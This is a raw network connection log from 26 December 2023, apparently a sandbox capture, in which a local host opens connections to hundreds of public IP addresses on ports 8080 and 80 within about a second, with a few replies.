Dec 26, 2023 21:22:47.753926039 CET	45469	8080	192.168.2.23	31.254.206.153
Dec 26, 2023 21:22:47.753926992 CET	45469	8080	192.168.2.23	62.15.104.104
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	95.10.102.249
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	94.30.105.55
Dec 26, 2023 21:22:47.753928900 CET	45469	8080	192.168.2.23	95.33.54.115
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	85.86.76.158
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	85.237.184.108
Dec 26, 2023 21:22:47.753928900 CET	45469	8080	192.168.2.23	85.22.164.224
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	95.104.92.132
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	95.91.178.45
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	31.231.112.246
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	31.62.223.194
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	94.230.215.18
Dec 26, 2023 21:22:47.753927946 CET	45469	8080	192.168.2.23	85.109.66.217
Dec 26, 2023 21:22:47.753928900 CET	45469	8080	192.168.2.23	31.125.242.117
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	95.200.99.203
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	62.205.82.128
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	62.91.22.219
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	85.224.65.168
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	95.136.25.203
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	31.212.49.123
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	62.3.105.45
Dec 26, 2023 21:22:47.753938913 CET	45469	8080	192.168.2.23	85.58.38.7
Dec 26, 2023 21:22:47.753962040 CET	45469	8080	192.168.2.23	85.65.209.149
Dec 26, 2023 21:22:47.753966093 CET	45469	8080	192.168.2.23	31.214.225.234
Dec 26, 2023 21:22:47.753966093 CET	45469	8080	192.168.2.23	31.109.107.229
Dec 26, 2023 21:22:47.753966093 CET	45469	8080	192.168.2.23	62.14.39.110
Dec 26, 2023 21:22:47.753978014 CET	45469	8080	192.168.2.23	95.79.24.42
Dec 26, 2023 21:22:47.753983021 CET	45469	8080	192.168.2.23	85.1.221.223
Dec 26, 2023 21:22:47.753983021 CET	45469	8080	192.168.2.23	94.149.194.25
Dec 26, 2023 21:22:47.753983021 CET	45469	8080	192.168.2.23	62.90.70.73
Dec 26, 2023 21:22:47.753984928 CET	45469	8080	192.168.2.23	94.99.236.180
Dec 26, 2023 21:22:47.753984928 CET	45469	8080	192.168.2.23	95.168.158.123
Dec 26, 2023 21:22:47.753984928 CET	45469	8080	192.168.2.23	31.117.165.51
Dec 26, 2023 21:22:47.753984928 CET	45469	8080	192.168.2.23	94.45.224.154
Dec 26, 2023 21:22:47.753984928 CET	45469	8080	192.168.2.23	94.43.173.183
Dec 26, 2023 21:22:47.753984928 CET	45469	8080	192.168.2.23	31.143.81.130
Dec 26, 2023 21:22:47.753993034 CET	45469	8080	192.168.2.23	94.91.104.124
Dec 26, 2023 21:22:47.753999949 CET	45469	8080	192.168.2.23	62.86.59.2
Dec 26, 2023 21:22:47.753999949 CET	45469	8080	192.168.2.23	94.179.132.47
Dec 26, 2023 21:22:47.753999949 CET	45469	8080	192.168.2.23	94.242.196.190
Dec 26, 2023 21:22:47.754004002 CET	45469	8080	192.168.2.23	85.33.133.254
Dec 26, 2023 21:22:47.754005909 CET	45469	8080	192.168.2.23	94.74.110.166
Dec 26, 2023 21:22:47.754005909 CET	45469	8080	192.168.2.23	62.181.197.103
Dec 26, 2023 21:22:47.754005909 CET	45469	8080	192.168.2.23	95.150.46.41
Dec 26, 2023 21:22:47.754005909 CET	45469	8080	192.168.2.23	62.41.237.103
Dec 26, 2023 21:22:47.754012108 CET	45469	8080	192.168.2.23	95.59.159.109
Dec 26, 2023 21:22:47.754013062 CET	45469	8080	192.168.2.23	62.59.201.187
Dec 26, 2023 21:22:47.754019022 CET	45469	8080	192.168.2.23	94.224.239.98
Dec 26, 2023 21:22:47.754019022 CET	45469	8080	192.168.2.23	94.249.109.75
Dec 26, 2023 21:22:47.754038095 CET	45469	8080	192.168.2.23	85.161.250.198
Dec 26, 2023 21:22:47.754038095 CET	45469	8080	192.168.2.23	31.115.145.82
Dec 26, 2023 21:22:47.754039049 CET	45469	8080	192.168.2.23	95.251.129.221
Dec 26, 2023 21:22:47.754040003 CET	45469	8080	192.168.2.23	94.92.252.178
Dec 26, 2023 21:22:47.754050970 CET	45469	8080	192.168.2.23	95.161.5.69
Dec 26, 2023 21:22:47.754050970 CET	45469	8080	192.168.2.23	94.197.32.56
Dec 26, 2023 21:22:47.754062891 CET	45469	8080	192.168.2.23	94.58.147.211
Dec 26, 2023 21:22:47.754069090 CET	45469	8080	192.168.2.23	94.242.105.7
Dec 26, 2023 21:22:47.754084110 CET	45469	8080	192.168.2.23	62.235.40.99
Dec 26, 2023 21:22:47.754086018 CET	45469	8080	192.168.2.23	62.224.2.239
Dec 26, 2023 21:22:47.754098892 CET	45469	8080	192.168.2.23	31.152.161.161
Dec 26, 2023 21:22:47.754098892 CET	45469	8080	192.168.2.23	95.214.201.143
Dec 26, 2023 21:22:47.754110098 CET	45469	8080	192.168.2.23	62.238.82.141
Dec 26, 2023 21:22:47.754127979 CET	45469	8080	192.168.2.23	95.170.114.47
Dec 26, 2023 21:22:47.754127979 CET	45469	8080	192.168.2.23	95.24.88.200
Dec 26, 2023 21:22:47.754144907 CET	45469	8080	192.168.2.23	31.199.52.230
Dec 26, 2023 21:22:47.754156113 CET	45469	8080	192.168.2.23	62.156.101.48
Dec 26, 2023 21:22:47.754177094 CET	45469	8080	192.168.2.23	31.128.162.207
Dec 26, 2023 21:22:47.754185915 CET	45469	8080	192.168.2.23	85.212.235.71
Dec 26, 2023 21:22:47.754199982 CET	45469	8080	192.168.2.23	31.134.202.52
Dec 26, 2023 21:22:47.754206896 CET	45469	8080	192.168.2.23	31.38.110.13
Dec 26, 2023 21:22:47.754210949 CET	45469	8080	192.168.2.23	62.156.168.225
Dec 26, 2023 21:22:47.754213095 CET	45469	8080	192.168.2.23	94.190.225.40
Dec 26, 2023 21:22:47.754216909 CET	45469	8080	192.168.2.23	62.94.12.76
Dec 26, 2023 21:22:47.754232883 CET	45469	8080	192.168.2.23	31.206.135.92
Dec 26, 2023 21:22:47.754232883 CET	45469	8080	192.168.2.23	94.56.53.187
Dec 26, 2023 21:22:47.754246950 CET	45469	8080	192.168.2.23	85.94.45.185
Dec 26, 2023 21:22:47.754252911 CET	45469	8080	192.168.2.23	94.46.201.32
Dec 26, 2023 21:22:47.754261017 CET	45469	8080	192.168.2.23	95.224.2.63
Dec 26, 2023 21:22:47.754281998 CET	45469	8080	192.168.2.23	62.199.6.28
Dec 26, 2023 21:22:47.754281998 CET	45469	8080	192.168.2.23	95.254.24.223
Dec 26, 2023 21:22:47.754291058 CET	45469	8080	192.168.2.23	31.99.57.81
Dec 26, 2023 21:22:47.754291058 CET	45469	8080	192.168.2.23	31.32.238.177
Dec 26, 2023 21:22:47.754302979 CET	45469	8080	192.168.2.23	95.186.140.28
Dec 26, 2023 21:22:47.754331112 CET	45469	8080	192.168.2.23	31.38.91.54
Dec 26, 2023 21:22:47.754338980 CET	45469	8080	192.168.2.23	95.106.175.244
Dec 26, 2023 21:22:47.754347086 CET	45469	8080	192.168.2.23	94.10.120.41
Dec 26, 2023 21:22:47.754384995 CET	45469	8080	192.168.2.23	95.139.201.212
Dec 26, 2023 21:22:47.754421949 CET	45469	8080	192.168.2.23	85.210.72.40
Dec 26, 2023 21:22:47.754422903 CET	45469	8080	192.168.2.23	31.231.197.240
Dec 26, 2023 21:22:47.754426956 CET	45469	8080	192.168.2.23	31.235.76.168
Dec 26, 2023 21:22:47.754431009 CET	45469	8080	192.168.2.23	62.176.238.209
Dec 26, 2023 21:22:47.754435062 CET	45469	8080	192.168.2.23	95.206.214.47
Dec 26, 2023 21:22:47.754443884 CET	45469	8080	192.168.2.23	95.152.224.4
Dec 26, 2023 21:22:47.754443884 CET	45469	8080	192.168.2.23	31.231.98.212
Dec 26, 2023 21:22:47.754445076 CET	45469	8080	192.168.2.23	85.30.75.115
Dec 26, 2023 21:22:47.754445076 CET	45469	8080	192.168.2.23	62.254.0.183
Dec 26, 2023 21:22:47.754445076 CET	45469	8080	192.168.2.23	94.168.75.57
Dec 26, 2023 21:22:47.754445076 CET	45469	8080	192.168.2.23	31.56.22.23
Dec 26, 2023 21:22:47.754445076 CET	45469	8080	192.168.2.23	85.24.134.61
Dec 26, 2023 21:22:47.754445076 CET	45469	8080	192.168.2.23	62.145.51.24
Dec 26, 2023 21:22:47.754458904 CET	45469	8080	192.168.2.23	94.169.118.236
Dec 26, 2023 21:22:47.754466057 CET	45469	8080	192.168.2.23	94.0.75.6
Dec 26, 2023 21:22:47.754468918 CET	45469	8080	192.168.2.23	31.72.165.121
Dec 26, 2023 21:22:47.754471064 CET	45469	8080	192.168.2.23	95.158.24.85
Dec 26, 2023 21:22:47.754486084 CET	45469	8080	192.168.2.23	31.91.7.18
Dec 26, 2023 21:22:47.754504919 CET	45469	8080	192.168.2.23	85.87.53.226
Dec 26, 2023 21:22:47.754513025 CET	45469	8080	192.168.2.23	94.169.142.43
Dec 26, 2023 21:22:47.754519939 CET	45469	8080	192.168.2.23	62.216.234.124
Dec 26, 2023 21:22:47.754530907 CET	45469	8080	192.168.2.23	62.38.104.253
Dec 26, 2023 21:22:47.754534960 CET	45469	8080	192.168.2.23	95.87.237.140
Dec 26, 2023 21:22:47.754534960 CET	45469	8080	192.168.2.23	62.225.246.38
Dec 26, 2023 21:22:47.754547119 CET	45469	8080	192.168.2.23	31.0.43.13
Dec 26, 2023 21:22:47.754565954 CET	45469	8080	192.168.2.23	94.145.207.206
Dec 26, 2023 21:22:47.754576921 CET	45469	8080	192.168.2.23	94.57.132.62
Dec 26, 2023 21:22:47.754605055 CET	45469	8080	192.168.2.23	31.240.183.155
Dec 26, 2023 21:22:47.754606962 CET	45469	8080	192.168.2.23	31.242.123.163
Dec 26, 2023 21:22:47.754606962 CET	45469	8080	192.168.2.23	85.67.29.166
Dec 26, 2023 21:22:47.754611015 CET	45469	8080	192.168.2.23	85.95.16.90
Dec 26, 2023 21:22:47.754615068 CET	45469	8080	192.168.2.23	62.96.98.200
Dec 26, 2023 21:22:47.754640102 CET	45469	8080	192.168.2.23	85.48.47.31
Dec 26, 2023 21:22:47.754640102 CET	45469	8080	192.168.2.23	94.116.195.224
Dec 26, 2023 21:22:47.754640102 CET	45469	8080	192.168.2.23	94.245.132.171
Dec 26, 2023 21:22:47.754640102 CET	45469	8080	192.168.2.23	85.44.251.240
Dec 26, 2023 21:22:47.754640102 CET	45469	8080	192.168.2.23	62.214.242.228
Dec 26, 2023 21:22:47.754659891 CET	45469	8080	192.168.2.23	94.14.221.154
Dec 26, 2023 21:22:47.754669905 CET	45469	8080	192.168.2.23	85.9.172.66
Dec 26, 2023 21:22:47.754671097 CET	45469	8080	192.168.2.23	85.244.118.241
Dec 26, 2023 21:22:47.754661083 CET	45469	8080	192.168.2.23	94.84.74.80
Dec 26, 2023 21:22:47.754661083 CET	45469	8080	192.168.2.23	85.49.97.196
Dec 26, 2023 21:22:47.754673004 CET	45469	8080	192.168.2.23	31.20.64.183
Dec 26, 2023 21:22:47.754690886 CET	45469	8080	192.168.2.23	62.170.179.228
Dec 26, 2023 21:22:47.754690886 CET	45469	8080	192.168.2.23	85.156.8.116
Dec 26, 2023 21:22:47.754700899 CET	45469	8080	192.168.2.23	31.199.54.93
Dec 26, 2023 21:22:47.754704952 CET	45469	8080	192.168.2.23	94.243.74.70
Dec 26, 2023 21:22:47.754715919 CET	45469	8080	192.168.2.23	94.128.109.25
Dec 26, 2023 21:22:47.754723072 CET	45469	8080	192.168.2.23	62.160.107.142
Dec 26, 2023 21:22:47.754735947 CET	45469	8080	192.168.2.23	85.4.208.208
Dec 26, 2023 21:22:47.754736900 CET	45469	8080	192.168.2.23	94.52.96.146
Dec 26, 2023 21:22:47.754746914 CET	45469	8080	192.168.2.23	94.137.110.135
Dec 26, 2023 21:22:47.754756927 CET	45469	8080	192.168.2.23	94.190.97.127
Dec 26, 2023 21:22:47.754756927 CET	45469	8080	192.168.2.23	85.5.39.183
Dec 26, 2023 21:22:47.754759073 CET	45469	8080	192.168.2.23	95.65.159.111
Dec 26, 2023 21:22:47.754772902 CET	45469	8080	192.168.2.23	94.234.216.202
Dec 26, 2023 21:22:47.754781008 CET	45469	8080	192.168.2.23	95.131.83.234
Dec 26, 2023 21:22:47.754802942 CET	45469	8080	192.168.2.23	94.10.84.214
Dec 26, 2023 21:22:47.754812002 CET	45469	8080	192.168.2.23	95.157.69.58
Dec 26, 2023 21:22:47.754817009 CET	45469	8080	192.168.2.23	31.29.188.211
Dec 26, 2023 21:22:47.754838943 CET	45469	8080	192.168.2.23	95.243.167.219
Dec 26, 2023 21:22:47.754841089 CET	45469	8080	192.168.2.23	85.143.95.220
Dec 26, 2023 21:22:47.754859924 CET	45469	8080	192.168.2.23	94.153.137.239
Dec 26, 2023 21:22:47.754869938 CET	45469	8080	192.168.2.23	95.197.120.220
Dec 26, 2023 21:22:47.754900932 CET	45469	8080	192.168.2.23	62.141.235.212
Dec 26, 2023 21:22:47.754909992 CET	45469	8080	192.168.2.23	85.111.16.211
Dec 26, 2023 21:22:47.754918098 CET	45469	8080	192.168.2.23	62.66.92.213
Dec 26, 2023 21:22:47.754924059 CET	45469	8080	192.168.2.23	94.183.193.202
Dec 26, 2023 21:22:47.754935980 CET	45469	8080	192.168.2.23	31.172.243.2
Dec 26, 2023 21:22:47.754951000 CET	45469	8080	192.168.2.23	31.190.58.135
Dec 26, 2023 21:22:47.754955053 CET	45469	8080	192.168.2.23	94.49.169.69
Dec 26, 2023 21:22:47.754971981 CET	45469	8080	192.168.2.23	31.139.6.152
Dec 26, 2023 21:22:47.754988909 CET	45469	8080	192.168.2.23	31.154.47.227
Dec 26, 2023 21:22:47.754990101 CET	45469	8080	192.168.2.23	94.165.196.109
Dec 26, 2023 21:22:47.755006075 CET	45469	8080	192.168.2.23	95.159.12.211
Dec 26, 2023 21:22:47.755011082 CET	45469	8080	192.168.2.23	31.16.174.111
Dec 26, 2023 21:22:47.755023956 CET	45469	8080	192.168.2.23	94.81.43.24
Dec 26, 2023 21:22:47.755055904 CET	45469	8080	192.168.2.23	95.159.194.119
Dec 26, 2023 21:22:47.755076885 CET	45469	8080	192.168.2.23	95.172.80.18
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	31.184.106.123
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	62.156.168.115
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	95.127.164.196
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	94.86.36.162
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	31.215.3.150
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	62.67.147.127
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	95.215.15.89
Dec 26, 2023 21:22:47.755080938 CET	45469	8080	192.168.2.23	31.148.83.245
Dec 26, 2023 21:22:47.755103111 CET	45469	8080	192.168.2.23	31.130.68.79
Dec 26, 2023 21:22:47.755109072 CET	45469	8080	192.168.2.23	85.181.203.12
Dec 26, 2023 21:22:47.755109072 CET	45469	8080	192.168.2.23	95.250.41.223
Dec 26, 2023 21:22:47.755109072 CET	45469	8080	192.168.2.23	31.243.41.178
Dec 26, 2023 21:22:47.755109072 CET	45469	8080	192.168.2.23	94.84.186.197
Dec 26, 2023 21:22:47.755109072 CET	45469	8080	192.168.2.23	31.160.165.156
Dec 26, 2023 21:22:47.755115986 CET	45469	8080	192.168.2.23	94.62.71.231
Dec 26, 2023 21:22:47.755130053 CET	45469	8080	192.168.2.23	95.233.173.90
Dec 26, 2023 21:22:47.755139112 CET	45469	8080	192.168.2.23	94.75.194.121
Dec 26, 2023 21:22:47.755148888 CET	45469	8080	192.168.2.23	94.39.63.169
Dec 26, 2023 21:22:47.755151987 CET	45469	8080	192.168.2.23	62.152.219.101
Dec 26, 2023 21:22:47.755156040 CET	45469	8080	192.168.2.23	62.195.234.220
Dec 26, 2023 21:22:47.755187035 CET	45469	8080	192.168.2.23	31.168.177.158
Dec 26, 2023 21:22:47.755187035 CET	45469	8080	192.168.2.23	31.78.62.18
Dec 26, 2023 21:22:47.755192041 CET	45469	8080	192.168.2.23	95.204.210.43
Dec 26, 2023 21:22:47.755192041 CET	45469	8080	192.168.2.23	95.181.77.3
Dec 26, 2023 21:22:47.755192995 CET	45469	8080	192.168.2.23	94.237.189.154
Dec 26, 2023 21:22:47.755197048 CET	45469	8080	192.168.2.23	31.89.225.72
Dec 26, 2023 21:22:47.755212069 CET	45469	8080	192.168.2.23	31.48.51.147
Dec 26, 2023 21:22:47.755223989 CET	45469	8080	192.168.2.23	94.86.172.125
Dec 26, 2023 21:22:47.755245924 CET	45469	8080	192.168.2.23	62.75.100.79
Dec 26, 2023 21:22:47.755259037 CET	45469	8080	192.168.2.23	31.74.141.187
Dec 26, 2023 21:22:47.755273104 CET	45469	8080	192.168.2.23	62.22.173.93
Dec 26, 2023 21:22:47.755274057 CET	45469	8080	192.168.2.23	85.211.246.168
Dec 26, 2023 21:22:47.755275011 CET	45469	8080	192.168.2.23	62.15.177.108
Dec 26, 2023 21:22:47.755287886 CET	45469	8080	192.168.2.23	62.225.64.214
Dec 26, 2023 21:22:47.755295038 CET	45469	8080	192.168.2.23	85.209.46.121
Dec 26, 2023 21:22:47.755301952 CET	45469	8080	192.168.2.23	94.153.239.81
Dec 26, 2023 21:22:47.755328894 CET	45469	8080	192.168.2.23	95.48.111.194
Dec 26, 2023 21:22:47.755331039 CET	45469	8080	192.168.2.23	85.100.31.157
Dec 26, 2023 21:22:47.755343914 CET	45469	8080	192.168.2.23	85.85.246.214
Dec 26, 2023 21:22:47.755347967 CET	8080	32818	31.200.37.153	192.168.2.23
Dec 26, 2023 21:22:47.755354881 CET	45469	8080	192.168.2.23	94.61.205.209
Dec 26, 2023 21:22:47.755364895 CET	45469	8080	192.168.2.23	95.42.80.230
Dec 26, 2023 21:22:47.755373955 CET	45469	8080	192.168.2.23	62.197.9.111
Dec 26, 2023 21:22:47.755378962 CET	45469	8080	192.168.2.23	94.215.223.234
Dec 26, 2023 21:22:47.755388975 CET	45469	8080	192.168.2.23	62.245.235.65
Dec 26, 2023 21:22:47.755388975 CET	45469	8080	192.168.2.23	62.147.229.236
Dec 26, 2023 21:22:47.755390882 CET	45469	8080	192.168.2.23	62.33.196.179
Dec 26, 2023 21:22:47.755394936 CET	45469	8080	192.168.2.23	62.96.97.205
Dec 26, 2023 21:22:47.755403996 CET	45469	8080	192.168.2.23	62.195.22.91
Dec 26, 2023 21:22:47.755404949 CET	45469	8080	192.168.2.23	85.174.51.19
Dec 26, 2023 21:22:47.755415916 CET	45469	8080	192.168.2.23	85.36.188.246
Dec 26, 2023 21:22:47.755422115 CET	45469	8080	192.168.2.23	31.238.82.157
Dec 26, 2023 21:22:47.755434990 CET	45469	8080	192.168.2.23	62.74.198.206
Dec 26, 2023 21:22:47.755448103 CET	45469	8080	192.168.2.23	31.128.241.121
Dec 26, 2023 21:22:47.755458117 CET	45469	8080	192.168.2.23	31.60.105.210
Dec 26, 2023 21:22:47.755479097 CET	45469	8080	192.168.2.23	31.105.213.9
Dec 26, 2023 21:22:47.755505085 CET	45469	8080	192.168.2.23	85.239.66.21
Dec 26, 2023 21:22:47.755520105 CET	45469	8080	192.168.2.23	85.105.33.74
Dec 26, 2023 21:22:47.755530119 CET	45469	8080	192.168.2.23	95.40.185.164
Dec 26, 2023 21:22:47.755539894 CET	45469	8080	192.168.2.23	62.143.21.253
Dec 26, 2023 21:22:47.755546093 CET	45469	8080	192.168.2.23	62.158.224.53
Dec 26, 2023 21:22:47.755553961 CET	45469	8080	192.168.2.23	85.80.54.0
Dec 26, 2023 21:22:47.755564928 CET	45469	8080	192.168.2.23	94.205.56.230
Dec 26, 2023 21:22:47.755575895 CET	45469	8080	192.168.2.23	85.8.183.116
Dec 26, 2023 21:22:47.755587101 CET	45469	8080	192.168.2.23	31.181.148.18
Dec 26, 2023 21:22:47.755600929 CET	45469	8080	192.168.2.23	31.219.6.93
Dec 26, 2023 21:22:47.755608082 CET	45469	8080	192.168.2.23	85.153.145.199
Dec 26, 2023 21:22:47.755625010 CET	45469	8080	192.168.2.23	95.59.47.28
Dec 26, 2023 21:22:47.755636930 CET	45469	8080	192.168.2.23	94.158.242.199
Dec 26, 2023 21:22:47.755646944 CET	45469	8080	192.168.2.23	31.157.133.217
Dec 26, 2023 21:22:47.755646944 CET	45469	8080	192.168.2.23	85.11.221.34
Dec 26, 2023 21:22:47.755649090 CET	45469	8080	192.168.2.23	31.108.154.234
Dec 26, 2023 21:22:47.755650043 CET	45469	8080	192.168.2.23	95.156.157.14
Dec 26, 2023 21:22:47.755672932 CET	45469	8080	192.168.2.23	95.218.3.109
Dec 26, 2023 21:22:47.755697012 CET	45469	8080	192.168.2.23	31.27.14.245
Dec 26, 2023 21:22:47.755697012 CET	45469	8080	192.168.2.23	62.226.155.123
Dec 26, 2023 21:22:47.755705118 CET	45469	8080	192.168.2.23	62.174.194.122
Dec 26, 2023 21:22:47.755723000 CET	45469	8080	192.168.2.23	62.146.151.41
Dec 26, 2023 21:22:47.755736113 CET	45469	8080	192.168.2.23	94.234.2.39
Dec 26, 2023 21:22:47.755736113 CET	45469	8080	192.168.2.23	62.23.193.89
Dec 26, 2023 21:22:47.755748034 CET	45469	8080	192.168.2.23	95.50.185.1
Dec 26, 2023 21:22:47.755759954 CET	45469	8080	192.168.2.23	94.176.220.127
Dec 26, 2023 21:22:47.755774021 CET	45469	8080	192.168.2.23	95.70.193.71
Dec 26, 2023 21:22:47.755786896 CET	45469	8080	192.168.2.23	95.108.78.140
Dec 26, 2023 21:22:47.755810022 CET	45469	8080	192.168.2.23	31.179.125.92
Dec 26, 2023 21:22:47.755810022 CET	45469	8080	192.168.2.23	94.196.165.223
Dec 26, 2023 21:22:47.755810976 CET	45469	8080	192.168.2.23	94.190.26.92
Dec 26, 2023 21:22:47.755822897 CET	45469	8080	192.168.2.23	95.2.77.49
Dec 26, 2023 21:22:47.755837917 CET	45469	8080	192.168.2.23	95.158.82.58
Dec 26, 2023 21:22:47.755841970 CET	45469	8080	192.168.2.23	62.84.187.89
Dec 26, 2023 21:22:47.755853891 CET	45469	8080	192.168.2.23	62.191.157.209
Dec 26, 2023 21:22:47.755853891 CET	45469	8080	192.168.2.23	85.178.218.179
Dec 26, 2023 21:22:47.755872011 CET	45469	8080	192.168.2.23	95.90.2.78
Dec 26, 2023 21:22:47.755877972 CET	45469	8080	192.168.2.23	94.17.81.59
Dec 26, 2023 21:22:47.755889893 CET	45469	8080	192.168.2.23	94.244.96.192
Dec 26, 2023 21:22:47.755889893 CET	45469	8080	192.168.2.23	62.52.156.137
Dec 26, 2023 21:22:47.755908012 CET	45469	8080	192.168.2.23	85.152.158.214
Dec 26, 2023 21:22:47.755908012 CET	45469	8080	192.168.2.23	95.28.5.131
Dec 26, 2023 21:22:47.755925894 CET	45469	8080	192.168.2.23	95.106.224.72
Dec 26, 2023 21:22:47.755928993 CET	45469	8080	192.168.2.23	62.45.196.106
Dec 26, 2023 21:22:47.755928993 CET	45469	8080	192.168.2.23	62.236.180.237
Dec 26, 2023 21:22:47.755928993 CET	45469	8080	192.168.2.23	94.59.99.221
Dec 26, 2023 21:22:47.755934954 CET	45469	8080	192.168.2.23	62.29.172.124
Dec 26, 2023 21:22:47.755959988 CET	45469	8080	192.168.2.23	95.178.211.92
Dec 26, 2023 21:22:47.755959988 CET	45469	8080	192.168.2.23	85.95.28.70
Dec 26, 2023 21:22:47.755964994 CET	45469	8080	192.168.2.23	95.136.40.63
Dec 26, 2023 21:22:47.755973101 CET	45469	8080	192.168.2.23	95.36.43.102
Dec 26, 2023 21:22:47.755987883 CET	45469	8080	192.168.2.23	94.136.81.63
Dec 26, 2023 21:22:47.755991936 CET	45469	8080	192.168.2.23	62.8.182.243
Dec 26, 2023 21:22:47.756026030 CET	45469	8080	192.168.2.23	85.248.186.26
Dec 26, 2023 21:22:47.756037951 CET	45469	8080	192.168.2.23	31.220.28.132
Dec 26, 2023 21:22:47.756037951 CET	45469	8080	192.168.2.23	62.158.123.22
Dec 26, 2023 21:22:47.756048918 CET	45469	8080	192.168.2.23	62.168.69.86
Dec 26, 2023 21:22:47.756067991 CET	45469	8080	192.168.2.23	31.144.158.172
Dec 26, 2023 21:22:47.756067991 CET	45469	8080	192.168.2.23	85.156.191.93
Dec 26, 2023 21:22:47.756078959 CET	45469	8080	192.168.2.23	62.206.77.8
Dec 26, 2023 21:22:47.756118059 CET	45469	8080	192.168.2.23	94.159.108.112
Dec 26, 2023 21:22:47.756120920 CET	45469	8080	192.168.2.23	94.103.98.224
Dec 26, 2023 21:22:47.756122112 CET	45469	8080	192.168.2.23	95.102.9.171
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	31.88.89.187
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	95.97.218.124
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	62.19.109.70
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	94.165.10.96
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	62.141.135.205
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	62.176.193.30
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	31.173.90.19
Dec 26, 2023 21:22:47.756140947 CET	45469	8080	192.168.2.23	94.204.54.157
Dec 26, 2023 21:22:47.756170034 CET	45469	8080	192.168.2.23	94.76.19.238
Dec 26, 2023 21:22:47.926052094 CET	8080	57476	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:47.926141024 CET	57476	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:47.926156044 CET	57476	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:47.926156044 CET	57476	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:47.926183939 CET	57496	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:47.979336023 CET	8080	45469	85.116.8.52	192.168.2.23
Dec 26, 2023 21:22:47.998934984 CET	8080	45469	31.188.184.56	192.168.2.23
Dec 26, 2023 21:22:47.998999119 CET	45469	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:48.002351046 CET	8080	45469	62.83.235.35	192.168.2.23
Dec 26, 2023 21:22:48.002952099 CET	8080	45469	94.230.215.18	192.168.2.23
Dec 26, 2023 21:22:48.007806063 CET	8080	45469	31.27.58.211	192.168.2.23
Dec 26, 2023 21:22:48.012046099 CET	8080	45469	31.19.9.246	192.168.2.23
Dec 26, 2023 21:22:48.013304949 CET	8080	45469	62.159.14.243	192.168.2.23
Dec 26, 2023 21:22:48.016009092 CET	8080	45469	95.155.89.206	192.168.2.23
Dec 26, 2023 21:22:48.032566071 CET	8080	45469	94.123.25.220	192.168.2.23
Dec 26, 2023 21:22:48.032717943 CET	45469	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.037602901 CET	8080	54170	95.86.91.231	192.168.2.23
Dec 26, 2023 21:22:48.037666082 CET	54170	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:48.041929007 CET	8080	45469	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:48.041985989 CET	45469	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.057215929 CET	8080	45469	85.65.209.149	192.168.2.23
Dec 26, 2023 21:22:48.065663099 CET	8080	45469	62.33.0.17	192.168.2.23
Dec 26, 2023 21:22:48.105917931 CET	45725	80	192.168.2.23	88.176.98.5
Dec 26, 2023 21:22:48.105938911 CET	45725	80	192.168.2.23	88.127.231.193
Dec 26, 2023 21:22:48.105938911 CET	45725	80	192.168.2.23	88.113.188.123
Dec 26, 2023 21:22:48.105952024 CET	45725	80	192.168.2.23	88.5.231.199
Dec 26, 2023 21:22:48.105983019 CET	45725	80	192.168.2.23	88.137.101.215
Dec 26, 2023 21:22:48.105983973 CET	45725	80	192.168.2.23	88.155.163.179
Dec 26, 2023 21:22:48.105983973 CET	45725	80	192.168.2.23	88.197.115.7
Dec 26, 2023 21:22:48.105998993 CET	45725	80	192.168.2.23	88.166.100.129
Dec 26, 2023 21:22:48.106018066 CET	45725	80	192.168.2.23	88.114.3.2
Dec 26, 2023 21:22:48.106021881 CET	45725	80	192.168.2.23	88.153.132.135
Dec 26, 2023 21:22:48.106028080 CET	45725	80	192.168.2.23	88.153.5.97
Dec 26, 2023 21:22:48.106033087 CET	45725	80	192.168.2.23	88.170.186.148
Dec 26, 2023 21:22:48.106059074 CET	45725	80	192.168.2.23	88.218.17.138
Dec 26, 2023 21:22:48.106076956 CET	45725	80	192.168.2.23	88.13.187.231
Dec 26, 2023 21:22:48.106096029 CET	45725	80	192.168.2.23	88.7.58.162
Dec 26, 2023 21:22:48.106111050 CET	45725	80	192.168.2.23	88.13.208.152
